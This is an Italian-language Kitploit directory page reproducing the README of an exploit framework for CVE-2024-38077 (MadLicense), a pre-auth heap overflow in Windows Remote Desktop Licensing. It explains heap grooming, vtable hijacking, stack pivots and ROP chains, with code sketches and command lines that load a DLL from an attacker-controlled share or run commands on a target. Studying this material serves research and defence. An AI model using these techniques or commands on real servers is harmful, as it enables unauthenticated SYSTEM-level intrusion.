Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-38077-MadLicense-exploit | Kitploit
Strumenti/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Framework di ExploitAnalisi delle VulnerabilitàExploitReverse EngineeringShellcodePenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Vedi Repository
18 mesi faNon ancora revisionato

CVE-2024-38077 MadLicense - Framework di Exploit Completo

📚 Documentazione Tecnica per la Presentazione

Questo documento spiega ogni componente del framework, perché esiste, e come funziona lo sfruttamento dell'heap buffer overflow su Windows moderno.


🎯 Cos'è CVE-2024-38077?

La Vulnerabilità

Il Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow nella funzione CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILITÀ: Calcolo errato della dimensione            │
├─────────────────────────────────────────────────────────────┤
│  1. Il client invia dati Base64 di dimensione N            │
│  2. Il server calcola: buffer_size = (N / 4) * 3           │
│  3. Il server alloca un buffer di 'buffer_size' byte       │
│  4. La decodifica Base64 REALMENTE scrive: ceil(N * 3/4) byte │
│  5. Se N non è multiplo di 4: OVERFLOW!                    │
└─────────────────────────────────────────────────────────────┘

Esempio concreto:

  • Input: 4001 byte
  • Calcolo del server: (4001 / 4) * 3 = 1000 * 3 = 3000 byte allocati
  • Decodifica reale: ceil(4001 * 0.75) = 3001 byte scritti
  • Overflow: 1 byte (ma controllabile per di più)

Perché è Critico?

  1. Pre-Auth: Non servono credenziali
  2. Remoto: Via rete, porta 135 (RPC)
  3. SYSTEM: Il servizio gira come NT AUTHORITY\SYSTEM
  4. Diffuso: Windows Server 2000-2025 interessati

🏗️ Architettura del Framework

Panoramica dei Moduli

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Modulo 1: primitives.py - Fondamenta

Cos'è?

Utility di basso livello per la manipolazione della memoria.

Perché Esiste?

Gli exploit necessitano di:

  • Convertire tra tipi (int ↔ byte)
  • Generare pattern per l'analisi dei crash
  • Allineare correttamente i dati

Funzioni Principali

root@kitploit:~
# Pack/Unpack - Convertire interi in byte e viceversa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Pattern Ciclico - Per identificare l'offset del crash
cyclic(100)          # Genera sequenza di De Bruijn
cyclic_find(pattern, value)  # Trova l'offset del valore

# Allineamento - La memoria deve essere allineata
align(0x1003, 0x10)  # → 0x1010 (allinea a 16 byte)

Perché è Importante?

Problema reale: Causi un crash e il RIP contiene 0x61616171.

  • Senza cyclic: "Da qualche parte nel mio buffer..."
  • Con cyclic: cyclic_find(pattern, 0x61616171) → offset esatto!

📦 Modulo 2: leak.py - Bypass di ASLR

Cos'è l'ASLR?

Address Space Layout Randomization: A ogni avvio/esecuzione, gli indirizzi cambiano.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Perché Ci Serve un Leak?

Senza sapere dove si trova la memoria:

  • Non sappiamo dove mettere il payload
  • Non conosciamo l'indirizzo dei gadget ROP
  • Qualsiasi tentativo = crash casuale

Struttura del Modulo

root@kitploit:~
class LeakInfo:
    """Container per indirizzi divulgati"""
    heap_base: int         # Base dell'heap
    ntdll_base: int        # Base di ntdll.dll
    kernel32_base: int     # Base di kernel32.dll
    # ...

class LeakProvider:
    """Orchestratore delle fonti di leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Prova ogni fonte finché non ci riesce

Fonti di Leak Implementate

FonteCome FunzionaQuando Usarla

Perché Input Manuale?

In demo/lab, puoi:

  1. Attaccare un debugger al target
  2. Vedere la base dei moduli
  3. Fornirla tramite --ntdll-base 0x7ffa...

Questo simula un leak reale, permettendo di testare il resto della catena.


📦 Modulo 3: target_model.py - Mappatura del Target

Cos'è?

Modellazione delle strutture dati vulnerabili e adiacenti.

Perché Esiste?

Overflow ≠ Exploit. Dobbiamo sapere:

  • Cosa stiamo sovrascrivendo?
  • Qual è la dimensione dell'oggetto?
  • Quale campo è utile corrompere?

Componenti

root@kitploit:~
class VulnerableBuffer:
    """Il buffer che subirà l'overflow"""
    allocation_size: int   # Quanto è stato allocato
    write_size: int        # Quanto verrà scritto
    overflow_amount: int   # Differenza = overflow
    
    def calculate_overflow(input_size):
        # Simula il bug di calcolo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Oggetto che verrà corrotto (adiacente nell'heap)"""
    fields: List[StructField]
    has_vtable: bool       # Ha una tabella virtuale?
    has_function_ptr: bool # Ha un puntatore a funzione?

Esempio di Struttura Target

root@kitploit:~
# Oggetto ipotetico basato su reverse engineering
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campi mappati
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Perché is_target=True?

Marca i campi utili per lo sfruttamento:

  • vtable: Se la sovrascriviamo, controlliamo le chiamate ai metodi
  • callback: Se lo sovrascriviamo, controlliamo quando il callback viene invocato

📦 Modulo 4: write_primitive.py - Scrittura Controllata

Il Problema

L'overflow scrive dati sequenziali. Ma ci serve:

  • Scrivere un valore specifico (indirizzo del nostro ROP)
  • A un offset specifico (dove si trova il puntatore alla vtable)

La Soluzione

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Costruisce il buffer di overflow con valori precisi
        
        Layout:
        [PADDING fino all'offset] [VALORE CONTROLLATO] [ALTRI DATI]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Inserisce il valore esatto all'offset esatto
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Tipi di Overwrite

root@kitploit:~
# Sovrascrivere la vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sovrascrivere il callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

Perché Non Basta Scrivere Spazzatura?

ScritturaRisultato
AAAA...Crash senza controllo
Indirizzo preciso all'offset precisoEsecuzione controllata

📦 Modulo 5: heap_controller.py - Heap Grooming

La Sfida dell'Heap Moderno

Windows usa LFH (Low Fragmentation Heap) e Segment Heap:

  • Le allocazioni sono randomizzate
  • Il layout non è prevedibile
  • Le heap guard rilevano la corruzione

La Soluzione: Grooming

Grooming = Manipolare l'heap per ottenere un layout deterministico.

root@kitploit:~
PRIMA DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Allocazioni casuali, buchi imprevedibili

DOPO IL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controllato, "buchi" dove vogliamo

Fasi del Grooming

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Riempire i buchi esistenti
        self.phase_fill(50)
        
        # Fase 2: Attivare LFH per il bucket target
        # (Windows attiva LFH dopo ~17 allocazioni della stessa dimensione)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - creare un pattern denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Creare buchi strategici
        # Liberiamo ogni N allocazioni
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Stabilizzare
        self.phase_stabilize()

Perché Funziona?

  1. Riempiamo l'heap con oggetti nostri
  2. Creiamo "buchi" a intervalli regolari
  3. Quando il server alloca il buffer vulnerabile...
  4. ...alta probabilità che cada in un buco
  5. ...adiacente a un nostro oggetto che possiamo corrompere

📦 Modulo 6: trigger.py - Innesco Post-Corruzione

Il Problema

La corruzione è avvenuta. E ora?

root@kitploit:~
Stato attuale:
- Memoria corrotta ✓
- Valore malevolo scritto ✓
- Ma nessuno ha ANCORA USATO quel valore!

La Soluzione: Forzare l'Uso

Dobbiamo far sì che il programma legga e usi il dato corrotto.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Strategie implementate:

class SecondRequestTrigger:
    """Effettua una seconda chiamata RPC che usa l'oggetto corrotto"""
    
class DestructorTrigger:
    """Disconnette - forza la cleanup che usa i puntatori corrotti"""
    
class TimerTrigger:
    """Attende che il timer interno elabori lo stato corrotto"""

Flusso Tipico

root@kitploit:~
1. Prima chiamata RPC → La corruzione avviene
2. Disconnect (trigger) → Il server chiama il distruttore
3. Il distruttore legge la vtable corrotta → Chiama il nostro indirizzo
4. Esecuzione controllata!

📦 Modulo 7: execution.py - Controllo del Flusso

L'Obiettivo: Hijacking di RIP/EIP

RIP (x64) o EIP (x86) = Instruction Pointer

Se controlliamo l'instruction pointer, controlliamo l'esecuzione.

Metodi di Hijacking

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Più comune nell'heap overflow
    FUNCTION_PTR = 1 # Puntatore a callback
    RETURN_ADDR = 2  # Stack overflow (non è il nostro caso)

Vtable Hijacking Spiegato

root@kitploit:~
OGGETTO NORMALE:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legittimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

DOPO LA CORRUZIONE:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← NOSTRO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

Quando method1 viene chiamato → Esegue il nostro gadget!

Stack Pivot

Problema: il vtable hijack ci dà UNA chiamata. Ci serve di più.

Soluzione: Stack Pivot

root@kitploit:~
# Gadget che cambia RSP verso dove si trova la nostra ROP chain
xchg rax, rsp; ret  # RAX = nostro indirizzo → RSP = nostro indirizzo

# Ora lo "stack" è la nostra area controllata!
# Ogni RET salta al gadget successivo della nostra ROP chain

📦 Modulo 8: code_reuse.py - ROP Chains

Perché ROP?

DEP (Data Execution Prevention): Heap e Stack sono NON-ESEGUIBILI.

root@kitploit:~
Shellcode nell'heap → CRASH (access violation - execute)

Soluzione: Riutilizzare il Codice Esistente

ROP = Return-Oriented Programming

Incateniamo "gadget" - piccoli pezzi di codice che terminano con RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Inserisce il valore in RCX
GADGET 2: pop rdx; ret    ← Inserisce il valore in RDX
GADGET 3: call LoadLibraryA ← Chiama la funzione!

Come Vengono Incatenati i Gadget

root@kitploit:~
STACK/ROP CHAIN (nostra area controllata):
┌────────────────────┐
│ addr di pop_rcx    │ ← RSP punta qui
├────────────────────┤
│ valore per RCX     │ ← Verrà "poppato" in RCX
├────────────────────┤
│ addr di pop_rdx    │ ← RET andrà qui
├────────────────────┤
│ valore per RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente chiama!
└────────────────────┘

Chain Implementate

root@kitploit:~
# Caricare una DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Allocare memoria eseguibile
build_virtual_alloc(size) → ROP chain + RAX = indirizzo RWX

# Eseguire un comando
build_winexec(cmd_addr) → ROP chain

📦 Modulo 9: payload.py - Payload Semantico

Differenza: Dati vs Intenzione

TipoEsempioRisultato
DatiAAAAAA...Crash
IntenzioneROP + percorso DLLDLL caricata

Tipi di Payload

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificare se l'exploit funziona
    DLL_INJECT = 1    # Caricare la nostra DLL
    COMMAND_EXEC = 2  # Eseguire un comando
    SHELLCODE = 3     # Eseguire shellcode tramite ROP

Costruzione del Payload per DLL Injection

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Struttura finale:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Esegue per primo
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← Stringa del percorso
    └──────────────────────────────┘
    
    La ROP chain passa l'indirizzo della stringa a LoadLibraryA
    """

📦 Modulo 10: mitigations.py - Consapevolezza delle Mitigazioni

Mitigazioni di Windows Moderno

Adattamento Automatico

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obbligatorio
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obbligatorio
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Più spray

🔄 Flusso Completo di Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    FLUSSO DI EXPLOIT                            │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Ottenere gli indirizzi di memoria
   ├─ Input: manuale o auto-leak
   └─ Output: LeakInfo con le basi dei moduli

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcolare l'ammontare dell'overflow
   ├─ Identificare gli oggetti adiacenti
   └─ Determinare gli offset di corruzione

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Creare un layout deterministico
   └─ Preparare la "zona di atterraggio" per l'allocazione vulnerabile

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Costruire la ROP chain
   ├─ Includere stringhe/dati necessari
   └─ Combinare con i dati di overflow

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Inviare la chiamata RPC malevola
   ├─ Causare l'overflow
   └─ Sovrascrivere il target (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect o seconda chiamata
   ├─ Forzare l'uso del puntatore corrotto
   └─ Hijack dell'esecuzione

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ La ROP chain esegue
   ├─ LoadLibraryA carica la DLL
   └─ CODICE ARBITRARIO IN ESECUZIONE!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RISULTATO: Shell reverse, backdoor, ecc. come SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

🚀 Uso Pratico

Installazione

root@kitploit:~
pip install impacket

Comandi

root@kitploit:~
# Solo per verificare se il servizio è in esecuzione
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (non invia il payload, simula tutto)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Eseguire calc.exe (PoC classico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Considerazioni Etiche

Questo framework è per:

  • ✅ Ricerca sulla sicurezza autorizzata
  • ✅ Dimostrazioni educative
  • ✅ Test in ambienti controllati
  • ✅ Sviluppo di mitigazioni

NON per:

  • ❌ Accesso non autorizzato
  • ❌ Attacchi a sistemi in produzione
  • ❌ Qualsiasi attività illegale

📚 Riferimenti

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Riepilogo per la Talk

Frase chiave:

"Sfruttare un heap buffer overflow su Windows moderno non è solo 'scrivere troppo'. È una catena precisa di leak → groom → corrupt → trigger → execute."

I 9 Moduli:

  1. primitives - Strumenti di memoria
  2. leak - Bypass di ASLR
  3. target_model - Conoscere il target
  4. write_primitive - Scrittura controllata
  5. heap_controller - Heap grooming
  6. trigger - Forzare l'uso della corruzione
  7. execution - Hijack di RIP
  8. code_reuse - ROP chains
  9. mitigations - Consapevolezza delle difese

Senza uno qualsiasi di questi, non c'è RCE.

Scarica lo strumento
ManualLeakSource
L'utente fornisce gli indirizzi
Lab/Debug con accesso al target
ResponseLeakSourceEstratto dalle risposte RPCSe il servizio fa trapelare puntatori
TimingLeakSourceSide-channel temporaleTeorico, molto difficile
MitigazioneCosa FaIl Nostro Bypass
DEPHeap/Stack non eseguibiliROP (riuso del codice)
ASLRIndirizzi randomizzatiInfo leak
CFGValida le destinazioni delle callChiamare destinazioni valide, poi pivot
Stack CookieRileva lo stack overflowNon usiamo stack overflow
Heap HardeningGuard pages, ecc.Grooming accurato